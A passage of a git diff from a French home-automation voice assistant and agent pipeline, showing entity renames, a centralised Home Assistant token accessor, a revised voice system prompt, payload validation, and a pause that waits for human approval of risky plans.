tier_final = tier + if not usable: + # Tier fort inutilisable : on remonte l'erreur plutôt que de boucler. + raise RuntimeError( + f"[CODING-FRONT] Le tier '{tier}' n'a produit aucune réponse utilisable." + ) + + return { + "response": response, + "tier_requested": tier, + "tier_used": tier_final, + "model": model_name, + "complex": is_complex, + "escalated": escalated, + } diff --git a/services/execute_service.py b/services/execute_service.py index a1c2735..6f1a7fa 100644 --- a/services/execute_service.py +++ b/services/execute_service.py @@ -21,6 +21,7 @@ import aiohttp from core.ha_tls import ha_ssl_context +from core.ha_token import get_ha_token # [T239] lecture centralisée du token HA from core.source_router import ModeType, RequestSource from core.vocal_stt_normalize import normalize_vocal_stt from core.vocal_tts_cache import canonical_text_for_ha_action, enrich_response_with_tts_cache @@ -45,18 +46,22 @@ _VOLET_ON_MARKERS = frozenset({"monte", "ouvre", "ouvrir", "leve"}) # Écho TTS / phrases d'état — ne pas interpréter comme commande _VOLET_STATUS_MARKERS = frozenset({"sont", "est", "ete", "etait", "etaient", "seront", "deja", "maintenant"}) -_VOLET_COVER_ENTITY = "cover.volet_serre_rideau" -_VOLET_SCRIPT = "script.tab5_volet_action" -_VOLET_MOVING_ENTITY = "input_boolean.volet_serre_mouvement" +_VOLET_COVER_ENTITY = "cover.living_room_blind" +_VOLET_SCRIPT = "script.blind_action" +_VOLET_MOVING_ENTITY = "input_boolean.blind_moving" _VOLET_STOP_WORDS = frozenset({"stop", "stoppe", "arrete", "arret", "arreter"}) # Table pièce → entité clim (extensible : ajouter une ligne suffit pour une 2e clim). # La détection reste zéro-LLM et choisit l'entité selon la pièce citée, défaut = salon. _CLIMATE_ENTITIES: dict[str, str] = { - "salon": "climate.salon_daikinap71273_clim", + "salon": "climate.living_room", } _CLIMATE_DEFAULT_ENTITY = _CLIMATE_ENTITIES["salon"] _CLIMATE_ENTITY = _CLIMATE_DEFAULT_ENTITY # Rétro-compat (références existantes) -_CLIMATE_KEYWORDS = frozenset({"clim", "climatisation", "climatiseur", "climatiser"}) +_CLIMATE_KEYWORDS = frozenset({ + "clim", "climatisation", "climatiseur", "climatiser", "climatise", "climatisee", + # Variantes STT fréquentes de « clim » (faster-whisper FR entend souvent « cline »). + "cline", "clime", +}) _CLIMATE_MODE_KEYWORDS: dict[str, str] = { "froid": "cool", "rafraichis": "cool", "rafraichir": "cool", "refroidis": "cool", "refroidir": "cool", "climatise": "cool", @@ -85,11 +90,11 @@ # lieu d'un set_temperature portant hvac_mode — plus compatible (certains Daikin # rejettent hvac_mode dans set_temperature). _CLIMATE_SPLIT_HVAC_AND_TEMP = True -_SALON_LIGHT_GROUP = "light.salon" +_SALON_LIGHT_GROUP = "light.living_room" _SALON_LIGHT_MEMBERS = ( "light.sonoff_1001601d46", - "light.h600c", - "light.h6008", + "light.hallway", + "light.bedside", ) @@ -102,7 +107,7 @@ class HACommandMatch: def _volet_script(action: str, phrase: str) -> HACommandMatch: - """Toutes les commandes volet passent par script.tab5_volet_action (suivi écran HA).""" + """Toutes les commandes volet passent par script.blind_action (suivi écran HA).""" return HACommandMatch( service=_VOLET_SCRIPT, entity_id="", @@ -112,7 +117,7 @@ def _volet_script(action: str, phrase: str) -> HACommandMatch: def ensure_volet_via_script(match: HACommandMatch) -> HACommandMatch: - """Convertit cover.volet_serre_rideau → script avec suivi mouvement.""" + """Convertit cover.living_room_blind → script avec suivi mouvement.""" if match.service == _VOLET_SCRIPT: return match if match.entity_id != _VOLET_COVER_ENTITY: @@ -181,13 +186,13 @@ def load_ha_commands() -> list[dict[str, Any]]: # Pièce → (entity_id, services on/off) _ROOM_ENTITIES: dict[str, tuple[str, dict[str, str]]] = { - "salon": ("light.salon", {"on": "light.turn_on", "off": "light.turn_off"}), - "chambre": ("light.h6008_2", {"on": "light.turn_on", "off": "light.turn_off"}), - "chevet": ("light.h6008", {"on": "light.turn_on", "off": "light.turn_off"}), - "cuisine": ("light.sonoff_1000f18da8", {"on": "light.turn_on", "off": "light.turn_off"}), - "serre": ("cover.volet_serre_rideau", {"on": "cover.open_cover", "off": "cover.close_cover"}), - "volet serre": ("cover.volet_serre_rideau", {"on": "cover.open_cover", "off": "cover.close_cover"}), - "clim salon": ("climate.salon_daikinap71273_clim", {"on": "climate.turn_on", "off": "climate.turn_off"}), + "salon": ("light.living_room", {"on": "light.turn_on", "off": "light.turn_off"}), + "chambre": ("light.bedroom", {"on": "light.turn_on", "off": "light.turn_off"}), + "chevet": ("light.bedside", {"on": "light.turn_on", "off": "light.turn_off"}), + "cuisine": ("light.kitchen", {"on": "light.turn_on", "off": "light.turn_off"}), + "serre": ("cover.living_room_blind", {"on": "cover.open_cover", "off": "cover.close_cover"}), + "volet serre": ("cover.living_room_blind", {"on": "cover.open_cover", "off": "cover.close_cover"}), + "clim salon": ("climate.living_room", {"on": "climate.turn_on", "off": "climate.turn_off"}), } @@ -295,7 +300,7 @@ def match_ha_climate_command(prompt: str) -> HACommandMatch | None: def match_ha_room_keywords(prompt: str) -> HACommandMatch | None: """ Match pièce + action quand STT est trop bruité pour ha_commands exact/fuzzy. - Ex: « et tel les lumières du salon » → éteindre light.salon + Ex: « et tel les lumières du salon » → éteindre light.living_room """ norm = normalize_ha_command_prompt(prompt) if not norm: @@ -554,7 +559,7 @@ def build_chat_mode_failure_response(session_id: str) -> dict[str, Any]: def _read_ha_credentials() -> tuple[str, str]: - ha_token = os.environ.get("HASS_TOKEN", "") + ha_token = get_ha_token() ha_url = os.environ.get("HASS_URL", "https://${HA_HOST:-192.168.1.x}:8123") if ha_token: return ha_token, ha_url @@ -562,6 +567,9 @@ def _read_ha_credentials() -> tuple[str, str]: os.path.dirname(os.path.dirname(os.path.abspath(__file__))), ".env", ) + # Secours : lecture brute du fichier .env (T239) — volontairement hors + # accesseur get_ha_token(), qui ne lit que os.environ ; le .env conserve + # les deux clés HASS_TOKEN et HA_TOKEN (nettoyage manuel séparé). if os.path.exists(env_path): with open(env_path, encoding="utf-8") as ef: for line in ef: @@ -637,7 +645,7 @@ async def execute_ha_service( service_data = volet_match.service_data if ha_service == _VOLET_SCRIPT and not (service_data or {}).get("action"): - logger.warning("[HA EXEC] script.tab5_volet_action sans action — refus") + logger.warning("[HA EXEC] script.blind_action sans action — refus") return False, "Je n'ai pas pu exécuter la commande volet." ha_token, ha_url = _read_ha_credentials() @@ -694,7 +702,7 @@ async def execute_ha_service( ha_service, payload, resp.status, resp_text[:120], ) - # Fallback : groupe light.salon → membres individuels + # Fallback : groupe light.living_room → membres individuels if ha_entity == _SALON_LIGHT_GROUP and "turn_" in ha_service: action = ha_service.split(".", 1)[-1] any_ok = False diff --git a/services/ha_state_query.py b/services/ha_state_query.py index 0dd9ce2..4c2bc91 100644 --- a/services/ha_state_query.py +++ b/services/ha_state_query.py @@ -51,20 +51,20 @@ # Pièce → (entité, attribut) pour la température (source = capteur clim connu). _TEMPERATURE_SOURCES: dict[str, tuple[str, str]] = { - "salon": ("climate.salon_daikinap71273_clim", "current_temperature"), + "salon": ("climate.living_room", "current_temperature"), } _TEMPERATURE_DEFAULT_ROOM = "salon" # Pièce → (entité lumière, libellé TTS). _LIGHT_ENTITIES: dict[str, tuple[str, str]] = { - "salon": ("light.salon", "du salon"), - "chambre": ("light.h6008_2", "de la chambre"), - "chevet": ("light.h6008", "de chevet"), - "cuisine": ("light.sonoff_1000f18da8", "de la cuisine"), + "salon": ("light.living_room", "du salon"), + "chambre": ("light.bedroom", "de la chambre"), + "chevet": ("light.bedside", "de chevet"), + "cuisine": ("light.kitchen", "de la cuisine"), } _VOLET_STATE_ENTITY = "input_text.volet_serre_etat" -_VOLET_COVER_ENTITY = "cover.volet_serre_rideau" +_VOLET_COVER_ENTITY = "cover.living_room_blind" @dataclass(frozen=True) diff --git a/services/ha_vocal_fallback.py b/services/ha_vocal_fallback.py index 6332030..a772f8f 100644 --- a/services/ha_vocal_fallback.py +++ b/services/ha_vocal_fallback.py @@ -22,15 +22,15 @@ _SYSTEM = """Tu es un extracteur d'intentions domotiques Home Assistant. Entrée : phrase utilisateur (transcription vocale imparfaite, en français). Sortie : UNIQUEMENT un objet JSON valide sur une ligne, sans markdown : -{"service":"light.turn_on","entity_id":"light.salon"} +{"service":"light.turn_on","entity_id":"light.living_room"} ou {"service":null,"entity_id":null} si la commande est incompréhensible. Règles : - Choisis UNIQUEMENT une entité de la liste ci-dessous. - service = domaine.action HA (ex. light.turn_on, light.turn_off, cover.open_cover). - Interprète les fautes STT (« est-elle » = éteindre, « al lumière » = la lumière). -- Si la pièce est « salon » et action allumer → light.salon + light.turn_on. -- Si la pièce est « chambre » et action éteindre → light.h6008_2 + light.turn_off. +- Si la pièce est « salon » et action allumer → light.living_room + light.turn_on. +- Si la pièce est « chambre » et action éteindre → light.bedroom + light.turn_off. """ diff --git a/services/pipeline_service.py b/services/pipeline_service.py index a23f304..b2ba244 100644 --- a/services/pipeline_service.py +++ b/services/pipeline_service.py @@ -26,6 +26,10 @@ from collections.abc import AsyncGenerator from typing import Any +from pydantic import ValidationError + +from core.state import TaskPayload + logger = logging.getLogger(__name__) @@ -59,10 +63,15 @@ def apply_workload_override(config: dict, tier: str | None = None, model: str | # ══════════════════════════════════════════════════════════════════ FAST_PATH_SYSTEM_PROMPT = ( - "Tu es l'assistant vocal d'Axel. " - "Réponds en français, 1 à 2 phrases max, chaleureux, sans markdown. " - "N'invente jamais d'état domotique, de météo ou d'agenda : " - "si tu n'as pas l'info, dis-le simplement." + "Tu es l'assistant vocal d'Axel sur sa tablette. " + "Réponds UNIQUEMENT en français, en phrases naturelles (ou un petit tableau texte " + "si on te le demande). Chaleureux, concis. " + "INTERDIT : JSON, code, balises, appels d'outils, MCP, function_call, " + "ou tout texte technique du type {\"tool\":...}. " + "Tu n'as PAS d'outils MCP ni de recherche web dans ce mode chat : " + "si tu ne peux pas répondre (actualité, dernier modèle sorti, photo réelle, etc.), " + "dis-le clairement en français avec la raison, sans inventer d'appel d'outil. " + "N'invente jamais d'état domotique, de météo ou d'agenda." ) # Cerebras gpt-oss-120b en tête : bench local 2026-07-21 ~430 ms TTFT @@ -277,31 +286,18 @@ def _build_fast_path_response(session_id: str, user_prompt: str, response_text: # Service : Pipeline complet (Planner → DAG → Executor → Reviewer) # ══════════════════════════════════════════════════════════════════ -async def run_full_pipeline( - user_prompt: str, - session_id: str, - initial_payload: Any, - starting_agent: str, - on_event_callback, - config: dict, - timeout_seconds: float = 120.0, -) -> dict[str, Any]: +def monter_moteur(session_id: str, user_prompt: str, config: dict) -> tuple: """ - Exécute le pipeline complet du moteur : Planner → DAG → Executor → Reviewer. + [#T267] Assemble un moteur complet : gateway, outils, agents, plugins. - Assemble toutes les briques : LLMGateway, ToolRegistry, Agents, Engine, - MCPBridge, WorkflowBridge, Plugins. Timeout 120s maximum. - - Args: - user_prompt : Requête utilisateur - session_id : ID de session unique - initial_payload : Payload de démarrage (depuis Router.analyze_request) - starting_agent : Nom de l'agent de démarrage (ex: "planner") - on_event_callback: Coroutine async appelée à chaque événement moteur - config : Configuration du moteur (config.json) + Extrait tel quel du corps de `run_full_pipeline()` (aucun changement de + logique) pour être réutilisable par la reprise après approbation humaine : + le DAG approuvé doit se rejouer dans le même environnement que celui qui l'a + planifié, sinon un outil absent le ferait échouer pour une raison qui n'a + rien à voir avec le plan. Returns: - dict : Réponse JSON normalisée avec status, response, history, agents_used + (engine, registry, mcp_bridge, gateway) """ from agents.antigravity_agent import AntigravityAgent from agents.executor import ExecutorAgent @@ -312,14 +308,11 @@ async def run_full_pipeline( from core.engine import Engine from core.llm_gateway import LLMGateway from core.mcp_bridge import MCPBridge - from core.serializers import global_state_to_dict, state_update_to_dict - from core.session_history import record_session_end, record_session_start from core.workflow_bridge import WorkflowBridge from memory.context_manager import ContextManager from tools.registry_setup import register_base_tools, register_extended_tools from tools.tool_registry import ToolRegistry - # ── Construction des dépendances ── gateway = LLMGateway() registry = ToolRegistry() context_manager = ContextManager(llm_gateway=gateway) @@ -371,17 +364,18 @@ async def run_full_pipeline( # ── Agents custom (WorkflowBridge) ── try: + from core.custom_agents import build_custom_agent_prompt bridge = WorkflowBridge() for custom in bridge.get_custom_agents_config(): custom_agent = ExecutorAgent( llm_gateway=gateway, tool_registry=registry, - provider_name=custom.get("tier", "automatique") + provider_name=custom.get("tier", "automatique"), + # [#T233] Restrictions d'outils (absent/None = tous, [] = aucun) + allowed_tools=custom.get("allowed_tools"), ) custom_agent.name = custom["name"] - custom_agent.system_prompt = ( - f"Tu es l'agent custom '{custom['name']}' ({custom.get('label', custom['name'])}).\n" - f"Tu hérites de la boucle ReAct d'ExecutorAgent avec accès à tous les outils.\n" - f"Exécute la tâche qui t'est assignée de manière rigoureuse et pédagogue." + custom_agent.system_prompt = build_custom_agent_prompt( + custom["name"], custom.get("label"), custom.get("allowed_tools") ) engine.register_agent(custom_agent) except Exception: @@ -408,6 +402,89 @@ async def run_full_pipeline( except Exception: pass + return engine, registry, mcp_bridge, gateway + + +def _normaliser_payload_initial(initial_payload: Any) -> TaskPayload: + """ + Normalise le payload d'entrée de run_full_pipeline en TaskPayload (#T281). + + Contrat de frontière : le moteur (core/engine.py) a le droit d'attendre un + TaskPayload — c'est ici, à l'entrée du pipeline, que ce contrat est garanti. + - TaskPayload : passe tel quel (même objet, aucune copie sur le chemin nominal). + - dict : validé par Pydantic, qui nomme lui-même le champ manquant. + - autre : refus explicite nommant le paramètre et le type reçu. + + Lève ValueError avec un message actionnable en cas de refus — jamais + d'AttributeError nu qui remonterait jusqu'à la route HTTP. + """ + if isinstance(initial_payload, TaskPayload): + return initial_payload + if isinstance(initial_payload, dict): + try: + return TaskPayload.model_validate(initial_payload) + except ValidationError as _ve: + champs = ", ".join( + f"{'.'.join(str(p) for p in e['loc'])} : {e['msg']}" for e in _ve.errors() + ) + raise ValueError( + f"initial_payload : dict invalide pour TaskPayload — {champs}. " + "Le champ task_objective (str) est obligatoire." + ) from _ve + raise ValueError( + f"initial_payload : type reçu « {type(initial_payload).__name__} » au lieu d'un " + "TaskPayload ou d'un dict. Le champ task_objective (str) est obligatoire." + ) + + +async def run_full_pipeline( + user_prompt: str, + session_id: str, + initial_payload: TaskPayload | dict[str, Any], + starting_agent: str, + on_event_callback, + config: dict, + timeout_seconds: float = 120.0, +) -> dict[str, Any]: + """ + Exécute le pipeline complet du moteur : Planner → DAG → Executor → Reviewer. + + Assemble toutes les briques : LLMGateway, ToolRegistry, Agents, Engine, + MCPBridge, WorkflowBridge, Plugins. Timeout 120s maximum. + + Args: + user_prompt : Requête utilisateur + session_id : ID de session unique + initial_payload : TaskPayload (recommandé — passe tel quel, même objet) + ou dict validé en TaskPayload par Pydantic (#T281) + starting_agent : Nom de l'agent de démarrage (ex: "planner") + on_event_callback: Coroutine async appelée à chaque événement moteur + config : Configuration du moteur (config.json) + + Returns: + dict : Réponse JSON normalisée avec status, response, history, agents_used + """ + # ── Contrat de frontière (#T281) : le moteur attend un TaskPayload ── + # Avant : un dict passait la frontière (type annoncé `Any`) et mourait plus + # loin dans core/engine.py sur `initial_payload.metadata` — AttributeError + # qui ne nommait ni le paramètre fautif ni ce qui était attendu. + try: + initial_payload = _normaliser_payload_initial(initial_payload) + except ValueError as _ve: + logger.error(f"[PIPELINE] Payload initial refusé : {_ve}") + return {"status": "error", "error": f"❌ {_ve}"} + + from core.serializers import global_state_to_dict, state_update_to_dict + from core.session_history import record_session_end, record_session_start + + # ── Construction des dépendances ── + # [#T267] Montage extrait dans `monter_moteur()` pour que la REPRISE après + # approbation humaine obtienne exactement le même environnement d'exécution + # (mêmes agents, mêmes outils, même bridge MCP). Une reprise montée + # différemment exécuterait le plan approuvé dans un moteur qui n'est pas + # celui qui l'a produit — outils manquants en silence, donc échec inexplicable. + engine, registry, mcp_bridge, _gateway = monter_moteur(session_id, user_prompt, config) + # ── Détection Multi-Intent avant exécution ── # Si la requête contient plusieurs intentions séparables, on les distribue # en parallèle (asyncio.gather) avec un payload distinct par intent. @@ -474,6 +551,33 @@ async def handle_engine_event(event_type: str, data): response_text = "\n\n".join(str(r["result_data"]) for r in results) if results else "" agents_used = list({h.agent_name for h in final_state.history if h.agent_name}) + + # [#T267] Session suspendue en attente d'approbation humaine : ni « success » + # ni « error ». Avant, l'opérateur voyait « ⏱️ Timeout : l'exécution a dépassé + # 120 secondes » alors que le moteur attendait sagement son feu vert — le + # message désignait la mauvaise cause et l'approbation n'arrivait jamais. + if getattr(engine, "est_suspendue", lambda: False)(): + request_id = getattr(engine, "_suspension_request_id", None) + record_session_end( + session_id, "waiting_approval", + agents_invoked=agents_used, + task_count=len(final_state.history), + result_summary=f"En attente d'approbation ({request_id})", + ) + await _cleanup_mcp(mcp_bridge) + return { + "status": "waiting_approval", + "session_id": session_id, + "request_id": request_id, + "response": ( + "⏸️ Le plan contient des tâches à risque et attend votre approbation. " + "L'exécution reprendra exactement sur ce plan une fois approuvé." + ), + "history": history_dicts, + "agents_used": agents_used, + "engine_state": global_state_to_dict(final_state), + } + record_session_end( session_id, "success", agents_invoked=agents_used, @@ -498,7 +602,9 @@ async def handle_engine_event(event_type: str, data): try: from core.event_store import get_event_store _es = get_event_store() - _source = initial_payload.metadata.get("source", "") if hasattr(initial_payload, "metadata") else "" + # [#T281] La frontière garantit un TaskPayload : metadata est toujours un + # dict (défaut Pydantic), le hasattr est devenu inutile. + _source = initial_payload.metadata.get("source", "") asyncio.create_task(_es.log( "response_sent", source=_source, agent="|".join(agents_used), session_id=session_id, @@ -520,7 +626,7 @@ async def handle_engine_event(event_type: str, data): async def run_multi_intent_pipeline( intents: list, session_id: str, - initial_payload: Any, + initial_payload: TaskPayload, starting_agent: str, engine, on_event_callback, @@ -535,7 +641,8 @@ async def run_multi_intent_pipeline( Args: intents: Liste de sous-requêtes (strings) session_id: ID de session - initial_payload: Payload de référence (cloné par intent) + initial_payload: TaskPayload de référence (cloné par intent) — la + frontière de run_full_pipeline garantit ce type (#T281) starting_agent: Agent de démarrage engine: Instance Engine (déjà configurée) on_event_callback: Callback SSE @@ -567,11 +674,9 @@ async def _run_single_intent(intent: str, index: int): # Cloner le payload et remplacer l'objectif import copy sub_payload = copy.deepcopy(initial_payload) - # Adapter selon le type de payload (dataclass ou dict) - if hasattr(sub_payload, 'task_objective'): - sub_payload.task_objective = intent - elif isinstance(sub_payload, dict): - sub_payload['task_objective'] = intent + # [#T281] La frontière garantit un TaskPayload : plus besoin + # d'adapter selon le type (dataclass ou dict). + sub_payload.task_objective = intent sub_state = await asyncio.wait_for( engine.run(sub_payload, starting_agent), @@ -706,6 +811,14 @@ async def run_engine_background(objective: str, on_event_callback, session_id: s session_id = f"bg_{_uuid.uuid4().hex[:8]}" gateway = LLMGateway() + # [#T277] Une session de fond héritait du défaut de 120 s, calibré pour + # le chemin interactif où un humain attend. Ici personne n'attend + # (fire-and-forget) : la borne n'est là que pour éviter une session + # immortelle. À 120 s, le Planner servi, il restait quelques dizaines de + # secondes pour le DAG, la revue et la finalisation — d'où des sessions + # tuées en cours de route. + from core.fenetres_execution import duree_session_fond_s + result = await run_full_pipeline( user_prompt=objective, session_id=session_id, @@ -713,6 +826,7 @@ async def run_engine_background(objective: str, on_event_callback, session_id: s starting_agent=starting_agent, on_event_callback=on_event_callback, config=config, + timeout_seconds=duree_session_fond_s(), ) async with state.execution_lock: @@ -836,12 +950,12 @@ async def stream_discussion_fast_path_sse( """ import json - from core.vocal_tts_cache import sanitize_discussion_tts from core.vocal_abort import ( is_vocal_aborted, register_vocal_stream, unregister_vocal_stream, ) + from core.vocal_tts_cache import sanitize_discussion_tts register_vocal_stream(session_id, conversation_id=conversation_id) diff --git a/static/js/tabs/swarm.js b/static/js/tabs/swarm.js index 1aa4283..d7a3f2a 100644 --- a/static/js/tabs/swarm.js +++ b/static/js/tabs/swarm.js @@ -41,7 +41,7 @@ function renderSwarm(container) {
- +
diff --git a/sync_db_to_markdown.py b/sync_db_to_markdown.py index 37e3888..552c150 100644 --- a/sync_db_to_markdown.py +++ b/sync_db_to_markdown.py @@ -8,11 +8,11 @@ Usage : python sync_db_to_markdown.py """ +import logging import os import re import sys import time -import logging # Ajouter le dossier parent au path sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) @@ -27,7 +27,7 @@ def sync_category(db: MemoryDB, category: str) -> int: if not md_path: logger.warning(f"Pas de chemin Markdown défini pour la catégorie : {category}") return 0 - + # Créer le fichier s'il n'existe pas if not os.path.exists(md_path): try: @@ -38,21 +38,21 @@ def sync_category(db: MemoryDB, category: str) -> int: except Exception as e: logger.error(f"Impossible de créer le fichier {md_path} : {e}") return 0 - + # Lire le contenu actuel du fichier MD pour extraire les titres existants try: - with open(md_path, 'r', encoding='utf-8') as f: + with open(md_path, encoding='utf-8') as f: md_content = f.read() except Exception as e: logger.error(f"Impossible de lire le fichier {md_path} : {e}") return 0 - + # Extraire les titres existants de la forme "- **Titre**" existing_titles = set(re.findall(r'^- \*\*(.+?)\*\*', md_content, re.MULTILINE)) - + # Charger les faits de cette catégorie depuis la base de données facts = db.get_facts_by_category(category) - + # Filtrer les faits de faible qualité pour ne pas polluer les Markdown # Garder les faits avec quality_score >= 0.5 OU NULL (rétrocompatibilité # avec les faits existants enregistrés avant l'ajout du scoring V9) @@ -64,9 +64,9 @@ def sync_category(db: MemoryDB, category: str) -> int: f"Catégorie {category} : {len(facts)} faits en base, " f"{len(filtered_facts)} retenus (quality >= 0.5 ou non scorés)" ) - + added_count = 0 - + # Ouvrir le fichier en mode append si de nouveaux faits doivent être écrits new_entries = [] for fact in filtered_facts: @@ -75,13 +75,13 @@ def sync_category(db: MemoryDB, category: str) -> int: if title not in existing_titles: content = fact["content"].strip() timestamp = time.strftime("%Y-%m-%d") - + meta_parts = [f"Synchronisé depuis la base de données le {timestamp}"] if fact.get("severity") and fact["severity"] != 'minor': meta_parts.append(f"severity: {fact['severity']}") if fact.get("commit_hash"): meta_parts.append(f"commit: `{fact['commit_hash']}`") - + entry = ( f"\n- **{title}** : {content}\n" f" - *{'; '.join(meta_parts)}*\n" @@ -89,7 +89,7 @@ def sync_category(db: MemoryDB, category: str) -> int: new_entries.append(entry) existing_titles.add(title) # Éviter les doublons au sein du même run added_count += 1 - + if new_entries: try: with open(md_path, 'a', encoding='utf-8', newline='\n') as f: @@ -100,19 +100,19 @@ def sync_category(db: MemoryDB, category: str) -> int: return 0 else: logger.info(f"Catégorie {category:8s} : À jour (0 fait synchronisé)") - + return added_count def main(): print("=== SYNCHRONISATION DE LA MÉMOIRE SQLITE VERS MARKDOWN ===\n") - + db = MemoryDB.get_instance() categories = ["esphome", "moteur", "gcp", "hmi", "infra"] - + total_added = 0 for cat in categories: total_added += sync_category(db, cat) - + print(f"\nTotal de faits synchronisés vers les fichiers Markdown : {total_added}") print("=== FIN DE SYNCHRONISATION ===") diff --git a/tests/conftest.py b/tests/conftest.py index 6309313..d43b1dc 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -8,10 +8,11 @@ - Router (avec RAG et ContextLoader mockés) """ -import sys import os +import sys +from unittest.mock import AsyncMock, MagicMock + import pytest -from unittest.mock import MagicMock, AsyncMock # Ajout du répertoire parent au PYTHONPATH pour les imports relatifs sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) @@ -93,10 +94,10 @@ def global_state(): def mock_provider(): """Provider LLM mocké qui retourne des réponses préfabriquées.""" provider = MagicMock() - + # Réponse texte par défaut provider.generate.return_value = "Réponse mockée du provider LLM." - + # Réponse JSON structurée par défaut (plan du Planner) provider.generate_structured.return_value = { "plan": [ @@ -136,10 +137,10 @@ def mock_gateway(mock_provider): def mock_tool_registry(): """ToolRegistry mocké avec des outils simulés.""" registry = MagicMock() - + # execute() retourne un résultat simulé (async) registry.execute = AsyncMock(return_value="Fichier créé avec succès : hello.py") - + # Schémas d'outils simulés pour l'ExecutorAgent registry.get_all_schemas.return_value = [ { diff --git a/tests/test_audit_integration.py b/tests/test_audit_integration.py index 22213a4..7998481 100644 --- a/tests/test_audit_integration.py +++ b/tests/test_audit_integration.py @@ -5,11 +5,13 @@ # A4 — AntigravityAgent hérite d'ExecutorAgent from agents.antigravity_agent import AntigravityAgent from agents.executor import ExecutorAgent + assert issubclass(AntigravityAgent, ExecutorAgent), "A4 FAILED" print("[A4] OK - AntigravityAgent hérite d'ExecutorAgent") # A6 — Shared Scratchpad dans GlobalState from core.state import GlobalState + gs = GlobalState(session_id="test-a6") gs.working_memory["test_key"] = "test_value" assert gs.working_memory["test_key"] == "test_value" @@ -17,7 +19,9 @@ # A7 — Langfuse bridge (mode no-op) import os + from core.langfuse_bridge import LangfuseBridge + # Temporairement retirer les clés du .env pour forcer le mode no-op orig_pub = os.environ.pop("LANGFUSE_PUBLIC_KEY", None) orig_sec = os.environ.pop("LANGFUSE_SECRET_KEY", None) @@ -36,10 +40,12 @@ # A8 — Modules API (routers ACTIFS montés dans gui_server ; les anciens doublons # non montés tokens.py/config.py/apis_status.py ont été supprimés — P2-3.1) from fastapi import APIRouter -from api.routes.billing import router as r_tokens # /api/tokens -from api.routes.context import router as r_config # /api/config + /api/pricing -from api.routes.apis_external import router as r_apis # /api/apis-status + +from api.routes.apis_external import router as r_apis # /api/apis-status +from api.routes.billing import router as r_tokens # /api/tokens +from api.routes.context import router as r_config # /api/config + /api/pricing from api.services.billing_service import billing_sync_state + for _r in (r_tokens, r_config, r_apis): assert isinstance(_r, APIRouter), "A8 FAILED" assert billing_sync_state is not None @@ -47,6 +53,7 @@ # A9 — Mémoire Procédurale from memory.skills import SkillStore + store = SkillStore() store.record_skill("test pattern", ["tool_a", "tool_b"], tags=["test"]) results = store.get_relevant_skills("test pattern") @@ -56,6 +63,7 @@ # A11 — Workflow-as-Code from core.workflow_executor import WorkflowExecutor + wf = WorkflowExecutor() summary = wf.get_workflow_summary() assert "agents" in summary and "transitions" in summary @@ -63,6 +71,7 @@ # A12 — Persistance SQLite from core.checkpoint import CheckpointManager + cm = CheckpointManager() cm.save(gs) loaded = cm.load("test-a6") diff --git a/tests/test_audit_v72.py b/tests/test_audit_v72.py index b384a14..5f1ad4e 100644 --- a/tests/test_audit_v72.py +++ b/tests/test_audit_v72.py @@ -10,10 +10,12 @@ """ import sys + sys.stdout.reconfigure(encoding='utf-8') sys.path.insert(0, '.') from dotenv import load_dotenv + load_dotenv() import os @@ -38,7 +40,7 @@ print("2. TEST WORKSPACE PHASE 1 (Calendar + Drive)") print("=" * 60) -from tools.google_workspace import list_calendars, get_calendar_events, list_drive_files +from tools.google_workspace import get_calendar_events, list_calendars, list_drive_files # Calendar try: @@ -71,7 +73,7 @@ print("3. TEST WORKSPACE PHASE 2") print("=" * 60) -from tools.google_workspace import search_gmail, get_tasks, search_youtube, get_contacts +from tools.google_workspace import get_contacts, get_tasks, search_gmail, search_youtube # Gmail try: @@ -116,6 +118,7 @@ # Cloud Translation from tools.cloud_translate import translate_text + try: r = translate_text("Hello, how are you?", "fr") print(f" translate_text: {r[:100]}...") @@ -126,6 +129,7 @@ # Cloud TTS from tools.cloud_tts import cloud_tts_synthesize + try: r = cloud_tts_synthesize("Bonjour, test rapide.", "neural2_female", "fr-FR") print(f" cloud_tts: {r[:100]}...") @@ -136,6 +140,7 @@ # Cloud Vision (test sur une image existante) from tools.cloud_vision import analyze_image + try: test_img = os.path.join(os.path.dirname(os.path.abspath(__file__)), "images", "imagen_1779811763.png") if os.path.exists(test_img): @@ -143,7 +148,7 @@ print(f" analyze_image: {r[:120]}...") results["analyze_image"] = "OK" if "analyse" in r.lower() or "labels" in r.lower() else f"FAIL: {r[:60]}" else: - print(f" analyze_image: SKIP (pas d'image de test)") + print(" analyze_image: SKIP (pas d'image de test)") results["analyze_image"] = "SKIP" except Exception as e: print(f" analyze_image ERREUR: {e}") @@ -151,6 +156,7 @@ # Cloud STT (test avec le WAV existant) from tools.cloud_stt import transcribe_audio + try: test_wav = os.path.join(os.path.dirname(os.path.abspath(__file__)), "images", "test_tts.wav") if os.path.exists(test_wav): @@ -158,7 +164,7 @@ print(f" transcribe_audio: {r[:100]}...") results["transcribe_audio"] = "OK" if "erreur" not in r.lower() or "transcription" in r.lower() else f"WARN: {r[:60]}" else: - print(f" transcribe_audio: SKIP (pas de fichier audio)") + print(" transcribe_audio: SKIP (pas de fichier audio)") results["transcribe_audio"] = "SKIP" except Exception as e: print(f" transcribe_audio ERREUR: {e}") @@ -170,6 +176,7 @@ print("=" * 60) from core.key_pool import GeminiKeyPool + try: pool = GeminiKeyPool() key = pool.get_key() @@ -186,8 +193,9 @@ print("=" * 60) from core.factory import create_engine + try: - engine, router, config = create_engine("test_audit_v72", register_git_tools=True) + engine, router, config = create_engine("test_audit_v72", register_git_tools=True, enregistrer_plugins=False) tools = sorted(engine.agents["executor"].tool_registry._tools.keys()) agents = sorted(engine.agents.keys()) print(f" Factory: {len(tools)} outils, {len(agents)} agents") diff --git a/tests/test_checkpoint.py b/tests/test_checkpoint.py index ed0598f..4ea06fe 100644 --- a/tests/test_checkpoint.py +++ b/tests/test_checkpoint.py @@ -12,7 +12,7 @@ # Ajouter le répertoire parent au path pour importer les modules du moteur sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) -from core.state import GlobalState, ExecutionPhase +from core.state import ExecutionPhase, GlobalState class TestCheckpoint: @@ -40,19 +40,19 @@ def test_save_and_load(self): try: from core.checkpoint import CheckpointManager cm = CheckpointManager() - + # Création d'un état de test state = GlobalState(session_id="session_test_save_load") state.current_phase = ExecutionPhase.PLANNING state.working_memory["cle_test"] = "valeur_test" - + # Sauvegarde saved_id = cm.save(state) assert saved_id == "session_test_save_load" - + # Vérification de l'existence assert cm.exists("session_test_save_load") is True - + # Chargement loaded = cm.load("session_test_save_load") 